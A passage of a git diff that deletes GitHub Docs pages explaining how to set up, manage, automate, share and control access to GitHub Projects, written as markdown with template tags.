[AUTOTITLE](/issues/planning-and-tracking-with-projects/managing-items-in-your-project/adding-items-to-your-project). - -## Adding draft issues to your project - -Next, add a draft issue to your project. - -{% data reusables.projects.add-draft-issue %} - -## Adding an iteration field - -Next, create an iteration field so you can plan and track your work over repeating blocks of time. Iterations can be configured to suit how you and your team works, with customizable lengths and the ability to insert breaks. - -{% data reusables.projects.new-field %} -1. Select **Iteration** -1. To change the duration of each iteration, type a new number, then select the dropdown and click either **days** or **weeks**. -1. Click **Save**. - -## Creating a field to track priority - -Now, create a custom field named `Priority` and containing the values: `High`, `Medium`, or `Low`. - -{% data reusables.projects.new-field %} -1. Select **Single select** -1. Below "Options", type the first option, "High". -1. To add additional fields, for "Medium" and "Low", click **Add option**. -1. Click **Save**. - -Specify a priority for all issues in your project. - -![Screenshot showing a list of issues, each with a priority of "Low," "Medium," or "High" in the "Priority" field.](/assets/images/help/projects/priority-example.png) - -## Grouping issues by priority - -Next, group all of the items in your project by priority to make it easier to focus on the high priority items. - -{% data reusables.projects.open-view-menu %} -1. Click **{% octicon "rows" aria-hidden="true" %} Group**. -1. Click **Priority**. - -Now, move issues between groups to change their priority. - -1. Choose an issue. -1. Drag and drop the issue into a different priority group. When you do this, the priority of the issue will change to be the priority of its new group. - -## Saving the priority view - -When you grouped your issues by priority in the previous step, your project displayed an indicator to show that the view was modified. Save these changes so that your collaborators will also see the tasks grouped by priority. - -{% data reusables.projects.save-view %} - -You can share the URL with your team to keep everyone aligned on the project priorities. - -When a view is saved, anyone who opens the project will see the saved view. Here, you grouped by priority, but you can also add other modifiers such as sort, filter, or layout. Next, you will create a new view with the layout modified. - -## Adding a board layout - -To view the progress of your project's issues, you can switch to board layout. - -The board layout is based on the status field, so specify a status for each issue in your project. - -Then, create a new view. - -{% data reusables.projects.new-view %} - -Next, switch to board layout. - -{% data reusables.projects.open-view-menu %} -1. Under "Layout", click **Board**. - -When you changed the layout, your project displayed an indicator to show that the view was modified. Save this view so that you and your collaborators can easily access it in the future. - -{% data reusables.projects.save-view %} - -To indicate the purpose of the view, give it a descriptive name. - -{% data reusables.projects.open-view-menu %} -1. Click **{% octicon "pencil" aria-hidden="true" %} Rename view**. -1. Type the new name for your view. -1. To save changes, press Return. - -## Configure built-in automation - -Next, configure the auto-add workflow to automatically add issues opened in a repository with a specific label to your project. - -{% data reusables.projects.access-workflows %} -1. In the "Default workflows" list, click **Auto-add to project**. -1. To start editing the workflow, in the top right, click **Edit**. - - ![Screenshot showing the workflow menu bar. The "Edit" button is highlighted with an orange rectangle.](/assets/images/help/projects-v2/workflow-start-editing.png) - -1. Under "Filters", select the repository you want to add items from. -1. Next to the repository selection, type the filter criteria you want items to match before they are automatically added to your project. For example, to catch all issues and PRs opened with the label "bug", use `is:issue,pr label:bug`. -1. To enable the new workflow, click **Save and turn on workflow**. - -Finally, add a built in workflow to set the status to **Todo** when an item is added to your project. - -1. In the top-right, click {% octicon "kebab-horizontal" aria-label="The menu icon" %} to open the menu. - ![Screenshot showing a project's menu bar. The menu icon is highlighted with an orange outline.](/assets/images/help/projects-v2/open-menu.png) -1. In the menu, click **{% octicon "workflow" aria-hidden="true" %} Workflows**. -1. Under **Default workflows**, click **Item added to project**. -1. Next to **When**, ensure that both `issues` and `pull requests` are selected. -1. Next to **Set**, select **Status:Todo**. -1. Click the **Disabled** toggle to enable the workflow. - -## Further reading - -* [AUTOTITLE](/issues/planning-and-tracking-with-projects/managing-items-in-your-project/adding-items-to-your-project) -* [AUTOTITLE](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/changing-the-layout-of-a-view) diff --git a/content/issues/planning-and-tracking-with-projects/learning-about-projects/sharing-project-updates.md b/content/issues/planning-and-tracking-with-projects/learning-about-projects/sharing-project-updates.md deleted file mode 100644 index 6d81815073f2..000000000000 --- a/content/issues/planning-and-tracking-with-projects/learning-about-projects/sharing-project-updates.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: 'Sharing {% data variables.projects.project_v2 %} updates' -intro: 'You can post updates to your {% data variables.projects.projects_v2 %} that share the current status, start date, and target date of the {% data variables.projects.project_v2 %} itself.' -allowTitleToDifferFromFilename: true -versions: - feature: projects-v2-status-updates -type: overview -permissions: 'Anyone with write access for a project can add a status update. Anyone with read access for a project can view status updates and subscribe.' -topics: - - Projects ---- - -## About status updates - -You can keep your team up to date and share high-level overviews, which people can use to determine the status of your project. You can set a status, such as "On track" or "At risk", to allow people to quickly determine the current state of the project. You can also set start dates and target dates. Your status update can also contain a message that supports formatting with Markdown. - -Status updates can be found on your project's side panel, below the description and README. You can read the most recent update at the top and the full history of updates beneath. Once you've added a status update, the current status is also shown in the project's header and in lists when you're browsing projects. - -## Adding new status updates - -You can add status updates to any project you have write access for. You can't add status updates to a project that is set as a template. When you start creating a new status update, the form will default to the previous update's status, start date, and target date. - -1. Navigate to your project. -1. In the top-right, click {% octicon "sidebar-expand" aria-label="Project details" %} to open the side panel. -1. Next to "Status updates", click **Add update**. -1. To change the status, click **Status**, and then select the status that best reflects the state of the project. -1. To change the dates shown in your status update, click either **Start date** or **Target date**, and select a new date. -1. Optionally, in the comment field, type a message to include in your status update. You can use Markdown to format your message. -1. Click **Save update**. diff --git a/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/adding-items-to-your-project.md b/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/adding-items-to-your-project.md deleted file mode 100644 index 20f3ad7ce77c..000000000000 --- a/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/adding-items-to-your-project.md +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: 'Adding items to your {% data variables.projects.project_v2 %}' -shortTitle: Adding items -intro: 'Learn how to add pull requests, issues, and draft issues to your projects individually or in bulk.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: tutorial -topics: - - Projects -allowTitleToDifferFromFilename: true ---- - -> [!NOTE] -> A project can contain a maximum of {% data variables.projects.item_limit %} items and {% data variables.projects.archived_item_limit %} archived items. To learn more about automatically archiving items when they meet specific criteria, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/automating-your-project/archiving-items-automatically). - -## Adding issues and pull requests to a project - -You have several options for adding issues and pull requests to your project. You can add them individually, automatically, or in bulk. Furthermore, you can include issues and pull requests from any organization, and you also have the ability to add draft issues that can be converted into regular issues later on. For more information, see [Creating draft issues](#creating-draft-issues). - -{% ifversion projects-v2-timeline-events %} - -> [!NOTE] -> Timeline events for Projects is currently in {% data variables.release-phases.public_preview %} and subject to change. - -When you add an issue or pull request to your project, an event will be added to the issue or pull request's timeline. Timeline events will also be added when you remove issues or pull requests and when changes are made to its `status` field for those items. Timeline events are only visible to people who have at least read permission for the project. If a change is made by a built-in workflow, the activity will be attributed to **@github-project-automation**. - -{% endif %} - -For more information about making bulk changes to your items after adding them, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/managing-items-in-your-project/editing-items-in-your-project). - -### Automatically adding issues and pull requests - -You can configure a built-in workflow to automatically add issues and pull requests from a repository when they meet specific filter criteria. For more information about configuring a workflow, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/automating-your-project/adding-items-automatically). - -### Pasting the URL of an issue or pull request - -You can copy the URL of an issue or pull request into your clipboard and paste that into your project. - -{% data reusables.projects.add-item-via-paste %} - -### Searching for an issue or pull request - -If you know the issue or pull request number or if you know part of the title, you can search for an issue or pull request directly from your project. - -{% data reusables.projects.add-item-bottom-row %} -1. To open the list of repositories, type #. -1. Select the repository where the pull request or issue is located. You can type part of the repository name to narrow down your options. -1. Select the issue or pull request. You can type part of the title to narrow down your options. - -### Bulk adding issues and pull requests - -You can add multiple issues and pull requests from your project and use filters, such as `label:bug`, to narrow down your search. - -1. In the bottom row of the project, click {% octicon "plus" aria-hidden="true" %}. - ![Screenshot showing the bottom row of a table view. The "+" button is highlighted with an orange outline.](/assets/images/help/projects-v2/omnibar-add.png) -1. Click **Add item from repository**. -{% data reusables.projects.bulk-add %} - -### Adding multiple issues or pull requests from a repository - -You can also add issues and pull requests to your project from a repository's issue and pull request lists. - -1. On {% data variables.product.prodname_dotcom %}, navigate to the repository that contains the issues or pull requests you want to add to your project. -{% data reusables.repositories.sidebar-issue-pr %} -1. Select the issues or pull requests you want to add to your project. - - * To select individual issues or pull requests, to the left of the title of each issue or pull request you want to add to your project, select the checkbox. - - ![Screenshot of the first two issues in the list of issues for a repository. To the left of each issue, a checkbox is outlined in dark orange.](/assets/images/help/issues/select-issue-checkbox.png) - * To select every issue or pull request on the page, at the top of the list of issues or pull requests, select all. - - ![Screenshot of the list of issues for a repository. In the header above the list, a checkbox to select all issues is outlined in dark orange.](/assets/images/help/issues/select-all-checkbox.png) -1. Above the list of issues or pull requests, click **Projects**. -1. Click the projects you want to add the selected issues or pull requests to. - -### Assigning a project from within an issue or pull request - -You can also add an issue or pull request to your project from within the issue or pull request itself. - -1. Navigate to the issue or pull request that you want to add to a project. -1. In the side bar, click **Projects**. - ![Screenshot showing an issue's sidebar. "Projects" is highlighted with an orange outline.](/assets/images/help/projects-v2/issue-sidebar-projects.png) -1. Select the project that you want to add the issue or pull request to. -1. Optionally, populate the custom fields. - -### Using the command palette to add an issue or pull request - -You can use the command palette when viewing your project to quickly add items. - -1. {% data reusables.projects.open-command-palette %} -1. Start typing "Add items" and press Return. -{% data reusables.projects.bulk-add %} - -## Creating issues - -{% data reusables.projects.about-issue-modal %} - -{% data reusables.projects.create-issue-modal %} - -## Creating draft issues - -Draft issues are useful to quickly capture ideas. Unlike issues and pull requests that are referenced from your repositories, draft issues exist only in your project. - -{% data reusables.projects.add-draft-issue %} - -Draft issues can have a title, text body, assignees, and any custom fields from your project. In order to populate the repository, labels, or milestones for a draft issue, you must first convert the draft issue to an issue. For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/managing-items-in-your-project/converting-draft-issues-to-issues). - -> [!NOTE] -> Users will not receive notifications when they are assigned to or mentioned in a draft issue unless the draft issue is converted to an issue. diff --git a/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/archiving-items-from-your-project.md b/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/archiving-items-from-your-project.md deleted file mode 100644 index 05c10d60bef5..000000000000 --- a/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/archiving-items-from-your-project.md +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: 'Archiving items from your {% data variables.projects.project_v2 %}' -shortTitle: Archiving items -intro: 'You can archive items, keeping them available to restore, or permanently delete them.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: tutorial -topics: - - Projects -allowTitleToDifferFromFilename: true ---- - -> [!NOTE] -> A project can contain a maximum of {% data variables.projects.item_limit %} items and {% data variables.projects.archived_item_limit %} archived items. - -## Archiving items - -You can archive an item to keep the context about the item in the project but remove it from the project views. You can also configure your project's built-in workflows to automatically archive items that meet certain criteria. For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/automating-your-project/archiving-items-automatically). - -{% data reusables.projects.select-an-item %} -{% data reusables.projects.open-item-menu %} -1. Click **Archive**. -1. When prompted, confirm your choice by clicking **Archive**. - -## Restoring archived items - -1. Navigate to your project. -1. In the top-right, click {% octicon "kebab-horizontal" aria-label="More options" %}. - - ![Screenshot showing a project's menu bar. The menu icon is highlighted with an orange outline.](/assets/images/help/projects-v2/open-menu.png) - -1. In the menu, click **{% octicon "archive" aria-hidden="true" %} Archived items**. -1. Optionally, to filter the archived items displayed, type your filter into the text box above the list of items. For more information about the available filters, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects). -1. To the left of each item title, select the items you would like to restore. - - ![Screenshot of a list of archived items. To the left of the first item, a checkbox is outlined in dark orange.](/assets/images/help/issues/select-archived-item.png) -1. To restore the selected items, above the list of items, click **Restore**. - -## Deleting items - -You can delete an item to remove it from the project entirely. - -{% data reusables.projects.select-an-item %} -{% data reusables.projects.open-item-menu %} -1. Click **Delete from project**. -1. When prompted, confirm your choice by clicking **Delete**. diff --git a/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/converting-draft-issues-to-issues.md b/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/converting-draft-issues-to-issues.md deleted file mode 100644 index bc2a98595a3d..000000000000 --- a/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/converting-draft-issues-to-issues.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Converting draft issues to issues -shortTitle: Converting draft issues -intro: Learn how to convert draft issues into issues. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: tutorial -topics: - - Projects ---- - -## Converting draft issues in table layout - -1. Click the {% octicon "triangle-down" aria-label="Row actions" %} on the draft issue that you want to convert. - - ![Screenshot of items in the table layout. The item context button is highlighted with an orange outline.](/assets/images/help/projects-v2/item-context-menu-button-table.png) - -1. Select **Convert to issue**. -1. Select the repository that you want to add the issue to. - -## Converting draft issues in board layout - -1. Click the {% octicon "kebab-horizontal" aria-label="the item menu" %} on the draft issue that you want to convert. - - ![Screenshot showing a draft issue. The item menu is highlighted with an orange outline.](/assets/images/help/projects-v2/item-context-menu-button-board.png) - -1. Select **Convert to issue**. -1. Select the repository that you want to add the issue to. - -## Further reading - -* [AUTOTITLE](/issues/planning-and-tracking-with-projects/managing-items-in-your-project/adding-items-to-your-project#creating-draft-issues) diff --git a/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/editing-items-in-your-project.md b/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/editing-items-in-your-project.md deleted file mode 100644 index f02f4ef22325..000000000000 --- a/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/editing-items-in-your-project.md +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: 'Editing items in your {% data variables.projects.project_v2 %}' -shortTitle: Editing items -intro: 'There are several methods you can use within your {% data variables.projects.project_v2 %} to quickly make changes to multiple items.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - Projects -allowTitleToDifferFromFilename: true ---- - -## Copying and pasting cells in a table - -You can copy the contents of one cell and paste the contents into multiple other cells in the same field. - -1. Navigate to a project view that is using the table layout. -1. Select the cell that you would like to copy. - - ![Screenshot showing two columns on a table layout. One cell is selected and is highlighted with an orange outline.](/assets/images/help/projects-v2/bulk-select-a-cell.png) - -1. To copy the contents of the selected cell, press Command+C (Mac) or Ctrl+C (Windows.) -1. Select the destination cells for the copied content. - -{% indented_data_reference reusables.projects.select-a-cell spaces=4 %} - - ![Screenshot showing two columns on a table layout. Three cells are selected and are highlighted with an orange outline.](/assets/images/help/projects-v2/bulk-select-cells.png) - -1. To paste the previously copied content, press Command+V (Mac) or Ctrl+V (Windows.) - -## Dragging a cell's contents to set neighboring table cells - -You can quickly copy one cell's content over other cells in the same field by dragging up or down. - -1. Navigate to a project view that is using the table layout. -1. Select the cell that you would like to copy. -1. If it's possible to copy the cell's content, a blue handle will be shown on the lower right of the selected cell. - - ![Screenshot showing two columns on a table layout. The blue handle, on the lower right of the selected cell, is highlighted with an orange outline.](/assets/images/help/projects-v2/bulk-cell-handle.png) - -1. Drag the handle up or down over the cells where you would like to copy the contents. - - ![Screenshot showing two columns on a table layout. Three cells are selected. The blue handle, on the lower right of the cell, is outlined in orange.](/assets/images/help/projects-v2/bulk-cell-drag.png) - -1. When you finish dragging, the contents of the originally selected cell will be copied over the cells you selected while dragging. - - ![Screenshot showing two columns on a table layout. The content of the previously selected cell has been copied to the cells selected above.](/assets/images/help/projects-v2/bulk-cell-finished.png) - -## Clearing the content of multiple table cells - -You can quickly clear the same field for multiple items. - -1. Navigate to a project view using the table layout. -1. Select the cells you would like to clear. - -{% indented_data_reference reusables.projects.select-a-cell spaces=4 %} - - ![Screenshot showing a column on a table layout. Three cells are selected.](/assets/images/help/projects-v2/select-multiple-cells.png) - -1. Press Delete or Backspace on your keyboard. - -## Undoing bulk changes in a table - -When you make a bulk change in the table layout, {% data variables.product.github %} will display the option to undo that change. - -1. Make a bulk change to your table. -1. When the notice appears in the lower right of your table, click **Undo**. - - ![Screenshot showing the undo dialog on a table. The Undo button is highlighted with an orange outline.](/assets/images/help/projects-v2/undo-bulk-change.png) diff --git a/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/index.md b/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/index.md deleted file mode 100644 index 460bb706af55..000000000000 --- a/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/index.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: 'Managing items in your {% data variables.projects.project_v2 %}' -shortTitle: 'Managing items in your {% data variables.projects.project_v2 %}' -intro: 'Learn how to add and manage issues, pull requests, and draft issues.' -versions: - feature: projects-v2 -topics: - - Issues - - Projects -children: - - /adding-items-to-your-project - - /converting-draft-issues-to-issues - - /editing-items-in-your-project - - /archiving-items-from-your-project -allowTitleToDifferFromFilename: true ---- diff --git a/content/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-repository.md b/content/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-repository.md deleted file mode 100644 index 7e3b5d7f3e97..000000000000 --- a/content/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-repository.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: 'Adding your {% data variables.projects.project_v2 %} to a repository' -shortTitle: 'Adding a {% data variables.projects.project_v2 %} to a repo' -intro: 'You can add your {% data variables.projects.project_v2 %} to a repository to make it accessible from that repository.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: tutorial -topics: - - Projects -allowTitleToDifferFromFilename: true ---- - -You can list relevant projects in a repository. You can only list projects that are owned by the same user or organization that owns the repository. - -In order for repository members to see a project listed in a repository, they must have visibility for the project. For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/managing-your-project/managing-visibility-of-your-projects) and [AUTOTITLE](/issues/planning-and-tracking-with-projects/managing-your-project/managing-access-to-your-projects). - -1. On {% data variables.product.prodname_dotcom %}, navigate to the main page of your repository. -1. Click **{% octicon "table" aria-hidden="true" %} Projects**. - ![Screenshot showing a repository's tabs. The "Projects" tab is highlighted with an orange outline.](/assets/images/help/projects-v2/repo-tab.png) -1. Click **Link a project**. -1. In the search bar that appears, search for projects that are owned by the same user or organization that owns the repository. -1. Click on a project to list it in your repository. diff --git a/content/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-team.md b/content/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-team.md deleted file mode 100644 index f88e8d74b28f..000000000000 --- a/content/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-team.md +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: 'Adding your {% data variables.projects.project_v2 %} to a team' -shortTitle: 'Adding a {% data variables.projects.project_v2 %} to a team' -intro: You can add projects to teams to manage permissions and improve project discoverability. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: tutorial -topics: - - Projects -allowTitleToDifferFromFilename: true -permissions: Organization owners or people with the team maintainer role and admin permissions on a project can add a project to a team. ---- - -## About adding projects to teams - -You can add projects to your team to give the whole team collaborator access to their projects. When you add a project to a team, that project is listed on the team's projects page, making it easier for members to identify which projects a particular team uses. - -Teams are granted read permissions on any project they are added to. This permission is added to existing permissions for the project and for individual team members, ensuring that any higher permissions are retained. For more information about setting permissions for teams and individual contributors, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/managing-your-project/managing-access-to-your-projects). - -## Adding a project to a team - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.specific_team %} -1. Click **{% octicon "project" aria-hidden="true" %} Projects**. - - ![Screenshot of the main page for a team. In the horizontal navigation bar, the "Projects" tab is outlined in dark orange.](/assets/images/help/organizations/team-project-board-button.png) - -1. Click **Link a project**. -1. In the search field, start typing the name of the project you want to add and then select the project in the list of matches. - - > [!NOTE] - > If this change will result in increased project permissions for the team's members, {% data variables.product.github %} will prompt you to confirm your choice. - -## Removing a project from a team - -{% data reusables.projects.project-settings %} -1. Click **Manage access**. -1. Next to the team that you want to remove from the project, click **Remove**. - -{% ifversion projects-v1 %} - -## Further reading - -* [Managing team access to an organization {% data variables.product.prodname_project_v1 %}](/organizations/managing-access-to-your-organizations-project-boards/managing-team-access-to-an-organization-project-board) - -{% endif %} diff --git a/content/issues/planning-and-tracking-with-projects/managing-your-project/closing-and-deleting-your-projects.md b/content/issues/planning-and-tracking-with-projects/managing-your-project/closing-and-deleting-your-projects.md deleted file mode 100644 index f0b8f3d7daaa..000000000000 --- a/content/issues/planning-and-tracking-with-projects/managing-your-project/closing-and-deleting-your-projects.md +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: 'Closing and deleting your {% data variables.projects.projects_v2 %}' -shortTitle: 'Closing and deleting {% data variables.projects.projects_v2 %}' -intro: 'Learn about closing, re-opening, and permanently deleting a {% data variables.projects.project_v2 %}.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /issues/trying-out-the-new-projects-experience/managing-projects -type: tutorial -topics: - - Projects -allowTitleToDifferFromFilename: true ---- - - -## Deleting a project - -You can delete a project to permanently remove it. - -{% data reusables.projects.project-settings %} -1. In the "Danger zone" section, next to "Delete project," click **Delete this project**. -1. Read the warnings, then type the name of your project into the text box. -1. Click **I understand the consequences, delete this project**. - -## Closing a project - -You can close a project to remove it from the list of projects but retain the contents and ability to re-open the project later. - -{% data reusables.projects.project-settings %} -1. In the "Danger zone" section, next to "Close project," click **Close this project**. - -## Re-opening an organization project - -You can reopen a previously closed project. - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.projects.projects-tab %} -1. In the left sidebar, click **Projects**. -{% data reusables.projects.reopen-a-project %} - -## Re-opening a user project - -You can reopen a previously closed project. - -{% data reusables.profile.access_profile %} -{% data reusables.projects.projects-tab %} -{% data reusables.projects.reopen-a-project %} diff --git a/content/issues/planning-and-tracking-with-projects/managing-your-project/exporting-your-projects-data.md b/content/issues/planning-and-tracking-with-projects/managing-your-project/exporting-your-projects-data.md deleted file mode 100644 index de0fd322761f..000000000000 --- a/content/issues/planning-and-tracking-with-projects/managing-your-project/exporting-your-projects-data.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: 'Exporting your {% data variables.projects.project_v2 %} data' -shortTitle: 'Exporting your {% data variables.projects.project_v2 %} data' -intro: 'Learn about exporting your {% data variables.projects.project_v2 %} data.' -permissions: 'People who can access a project can export a view. For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/managing-your-project/managing-visibility-of-your-projects) and [AUTOTITLE](/issues/planning-and-tracking-with-projects/managing-your-project/managing-access-to-your-projects).' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: tutorial -topics: - - Projects -allowTitleToDifferFromFilename: true ---- - -You can download a view as a _.tsv_ (tab-separated) file. - -1. On {% data variables.product.prodname_dotcom %}, navigate to the main page of your repository. -1. Click **{% octicon "table" aria-hidden="true" %} Projects**. - ![Screenshot showing a repository's tabs. The "Projects" tab is highlighted with an orange outline.](/assets/images/help/projects-v2/repo-tab.png) - -{% data reusables.projects.open-view-menu %} - -1. Click **Export view data**. diff --git a/content/issues/planning-and-tracking-with-projects/managing-your-project/index.md b/content/issues/planning-and-tracking-with-projects/managing-your-project/index.md deleted file mode 100644 index d17708b29c54..000000000000 --- a/content/issues/planning-and-tracking-with-projects/managing-your-project/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: 'Managing your {% data variables.projects.project_v2 %}' -intro: Learn how to manage your projects and control visibility and access. -versions: - feature: projects-v2 -topics: - - Issues - - Projects -children: - - /managing-visibility-of-your-projects - - /managing-access-to-your-projects - - /managing-project-templates-in-your-organization - - /closing-and-deleting-your-projects - - /adding-your-project-to-a-repository - - /adding-your-project-to-a-team - - /exporting-your-projects-data -allowTitleToDifferFromFilename: true ---- diff --git a/content/issues/planning-and-tracking-with-projects/managing-your-project/managing-access-to-your-projects.md b/content/issues/planning-and-tracking-with-projects/managing-your-project/managing-access-to-your-projects.md deleted file mode 100644 index e43f9cae81f5..000000000000 --- a/content/issues/planning-and-tracking-with-projects/managing-your-project/managing-access-to-your-projects.md +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: 'Managing access to your {% data variables.projects.projects_v2 %}' -shortTitle: 'Managing {% data variables.projects.project_v2 %} access' -intro: 'Learn how to manage team and individual access to your {% data variables.projects.project_v2 %}.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /issues/trying-out-the-new-projects-experience/managing-access-to-projects -type: tutorial -topics: - - Projects -allowTitleToDifferFromFilename: true ---- - - -## About project access - -Admins of organization-level projects can manage access for the entire organization, for teams, for individual organization members, and for outside collaborators. - -Admins of user-level projects can invite individual collaborators and manage their access. - -Project admins can also control the visibility of their project for everyone on the internet. For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/managing-your-project/managing-visibility-of-your-projects). - -## Managing access for organization-level projects - -You can control access to your project by setting permissions for particular individuals and teams or you can set a base permission that applies to everyone in your organization. - -### Managing access for everyone in your organization - -You can manage access for everyone in your organization to a particular project by changing the project's base permission. Changes to the base permission only affect organization members who are not organization owners and who are not granted individual access. - -You can also configure the default base permission at the organization-level for new projects and projects that haven't yet had a base permission configured. For more information about setting your organization's base permission for projects, see [AUTOTITLE](/organizations/managing-organization-settings/managing-base-permissions-for-projects). - -{% data reusables.projects.project-settings %} -1. Click **Manage access**. -1. Under **Base role**, select the default role. - - ![Screenshot showing the "Who has access" settings. The dropdown for setting the base role is highlighted with an orange outline.](/assets/images/help/projects-v2/base-role.png) - - * **No access:** Only organization owners and users granted individual access can see the project. Organization owners are also admins for the project. - * **Read:** Everyone in the organization can see the project. Organization owners are also admins for the project. - * **Write:** Everyone in the organization can see and edit the project. Organization owners are also admins for the project. - * **Admin:** Everyone in the organization is an admin for the project. - -### Managing access for teams and individual members of your organization - -You can also add teams, external collaborators, and individual organization members as collaborators for an organization-level project. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/about-teams). - -If you grant a team read permissions or greater for a project, the project is also displayed on the team's projects page. You can also add projects to a team on the team's projects page. For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-team). - -You can only invite an individual user to collaborate on your organization-level project if they are already a member of the organization or an outside collaborator on at least one repository in the organization. - -{% data reusables.projects.project-settings %} -1. Click **Manage access**. -1. Under **Invite collaborators**, search for the team or individual user that you want to invite. - - ![Screenshot showing searching for a collaborator.](/assets/images/help/projects-v2/access-search.png) - -1. Select the role for the collaborator. - * **Read:** The team or individual can view the project. - * **Write:** The team or individual can view and edit the project. - * **Admin:** The team or individual can view, edit, and add new collaborators to the project. -1. Click **Invite**. - -### Managing access of an existing collaborator on your project - -{% data reusables.projects.project-settings %} -1. Click **Manage access**. -1. Under **Manage access**, find the collaborator(s) whose permissions you want to modify. - - You can use the **Type** and **Role** drop-down menus to filter the access list. - - ![Screenshot of the "Manage access" section. The octocat is listed as a collaborator.](/assets/images/help/projects-v2/access-find-member.png) - -1. Edit the role for the collaborator(s). -1. Optionally, click **Remove** to remove the collaborator(s). - -## Managing access for user-level projects - -### Granting a collaborator access to your project - -> [!NOTE] -> This only affects collaborators for your project, not for repositories in your project. To view an item on the project, someone must have the required permissions for the repository that the item belongs to. Only people with access to a private repository will be able to view project items from that private repository. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility) and [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository). - -{% data reusables.projects.project-settings %} -1. Click **Manage access**. -1. Under **Invite collaborators**, search for the user that you want to invite. - - ![Screenshot showing searching for a collaborator.](/assets/images/help/projects-v2/access-search.png) - -1. Select the role for the collaborator. - * **Read:** The individual can view the project. - * **Write:** The individual can view and edit the project. - * **Admin:** The individual can view, edit, and add new collaborators to the project. -1. Click **Invite**. - -### Managing access of an existing collaborator on your project - -{% data reusables.projects.project-settings %} -1. Click **Manage access**. -1. Under **Manage access**, find the collaborator(s) whose permissions you want to modify. - - You can use the **Type** and **Role** drop-down menus to filter the access list. - - ![Screenshot of the "Manage access" section. The octocat is listed as a collaborator.](/assets/images/help/projects-v2/access-find-member.png) - -1. Edit the role for the collaborator(s). -1. Optionally, click **Remove** to remove the collaborator(s). diff --git a/content/issues/planning-and-tracking-with-projects/managing-your-project/managing-project-templates-in-your-organization.md b/content/issues/planning-and-tracking-with-projects/managing-your-project/managing-project-templates-in-your-organization.md deleted file mode 100644 index d261c9b6b152..000000000000 --- a/content/issues/planning-and-tracking-with-projects/managing-your-project/managing-project-templates-in-your-organization.md +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: 'Managing {% data variables.projects.project_v2 %} templates in your organization' -shortTitle: 'Managing templates' -intro: 'You can create templates or set projects as templates in your organization, allowing other people to select your template as the base for projects they create.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -permissions: 'People with admin permissions for a project in an organization can set the project as a template. People with admin or write permissions for a project in an organization can copy the project and set the copied project as a template.' -topics: - - Projects -allowTitleToDifferFromFilename: true ---- - - - -## About templates - -You can create a template, or set a project as a template, to share a pre-configured project with other people in your organization which they can then use as the base for their projects. - -The projects you mark as templates are shown in the "Create a project" dialog when anyone creates a project in your organization. You can also configure up to six templates to recommend to your organization's members. - -When someone creates a project from a template, the {% data reusables.projects.what-gets-copied %} are copied from the template to the new project. You can find the template that a project used from the project's settings page, under the "Templates" section. - -## Creating a new template - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.projects.projects-tab %} -{% data reusables.projects.templates-tab %} -1. Click **New template**. - -## Setting a project as a template - -If you have 